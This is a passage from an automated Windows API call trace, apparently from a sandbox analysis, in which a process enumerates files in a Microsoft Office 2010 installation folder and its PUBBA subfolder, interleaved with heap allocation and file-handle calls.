cFileName="MSSP7ES.dub", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e60c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1e0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19c200, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa471a100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19c200, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bfdd00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa4c28fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41bfdd00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.dub", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f10a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45e9600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x42f10a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1b1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa2176520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7EN.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa395100, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa21503c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfa395100, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0x40de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7EN.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7ES.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2918c00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6f45440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2918c00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x5b3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7ES.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4824aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.DLL", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6a7e00, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa47fe940, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb6a7e00, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0xc6aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.LEX", cAlternateFileName="")) returned 1 [0079.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6a7e00, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa47fe940, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb6a7e00, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0xc6aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.LEX", cAlternateFileName="")) returned 0 [0079.548] GetLastError () returned 0x12 [0079.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.548] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.549] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0079.549] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65b7600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x130b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.DLL", cAlternateFileName="")) returned 1 [0079.549] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRTF9.DLL", cAlternateFileName="")) returned 1 [0079.549] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x68368, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSTPRX32.DLL", cAlternateFileName="")) returned 1 [0079.549] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTXT9.DLL", cAlternateFileName="")) returned 1 [0079.549] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBBA", cAlternateFileName="")) returned 1 [0079.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.550] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.551] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.551] NtClose (Handle=0x168) returned 0x0 [0079.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.551] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0079.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cab60 [0079.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc418 [0079.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.554] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x69e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB11.BDR", cAlternateFileName="")) returned 1 [0079.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cab80 [0079.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc4a0 [0079.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.555] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xf254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1A.BDR", cAlternateFileName="")) returned 1 [0079.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caba0 [0079.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.556] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1B.BDR", cAlternateFileName="")) returned 1 [0079.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cabc0 [0079.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc5b0 [0079.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.557] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xc8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2A.BDR", cAlternateFileName="")) returned 1 [0079.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cabe0 [0079.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc638 [0079.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2B.BDR", cAlternateFileName="")) returned 1 [0079.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cac00 [0079.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc6c0 [0079.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.559] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xde58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3A.BDR", cAlternateFileName="")) returned 1 [0079.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cac20 [0079.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc748 [0079.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.560] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xf4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3B.BDR", cAlternateFileName="")) returned 1 [0079.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cac40 [0079.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc7d0 [0079.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xc144, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB4.BDR", cAlternateFileName="")) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cac60 [0079.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc858 [0079.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.562] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xcfb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB5A.BDR", cAlternateFileName="")) returned 1 [0079.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cac80 [0079.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc8e0 [0079.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4e80) returned 0x11f63e0 [0079.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f1598) returned 1 [0079.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.563] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, 